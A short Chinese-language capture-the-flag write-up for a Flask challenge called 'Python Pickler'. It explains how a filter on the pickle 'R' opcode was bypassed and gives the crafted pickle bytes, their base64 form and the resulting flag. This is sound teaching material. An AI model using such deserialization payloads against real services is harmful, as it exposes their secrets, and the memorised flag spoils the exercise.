animal

这道题提供了一个网页。而且还提供了网页后端的源代码，发现是使用Flask框架写的。

考虑使用Flask模板注入，但是没有发现注入点，于是放弃了这种方法。

后面发现网页的名字叫做“Python Pickler”，感觉应该是和`pickle`有关的。于是查找了一些关于pickle的资料，发现pickle的确有很多漏洞可以帮助我们解决这道题。

首先使用最广泛使用的`__reduce__`方法，我定义了一个`__reduce__`函数并提交，发现显示了错误信息，原来不能pickle里面不能包含'R'这个字母。所以使用这种方法是行不通的。

后来，我发现了源代码中的这样一个可疑的地方，它在格式化字符串后面加了`!r`，于是里面的内容就变成了`repr(xxx)`。所以，假如说我的pickle里面表示的是一个符号的话，它是可疑被直接解析出来的，并且会显示在返回的网页里。如果说这个符号就是题目需要的name和category的话，那么这道题的flag就可以得到了。

经过一番尝试，我得到了如下可用的pickle：

```
b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03cfavo
rite\nname\nq\x04X\x08\x00\x00\x00categoryq\x05cfavorite\ncategory\nq\x06ub.'
```

经过base64加密之后，得到：

```
gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA2NmYXZvcml0ZQpuYW1lCnEEWAgAAA
BjYXRlZ29yeXEFY2Zhdm9yaXRlCmNhdGVnb3J5CnEGdWIu
```

提交该payload，发现返回的网页中，`favorite.name`和`favorite.category`被自动替换为了答案，由此可以直接得到flag：

```
0ops{magic_pickle_7395a19cea06fec1}
```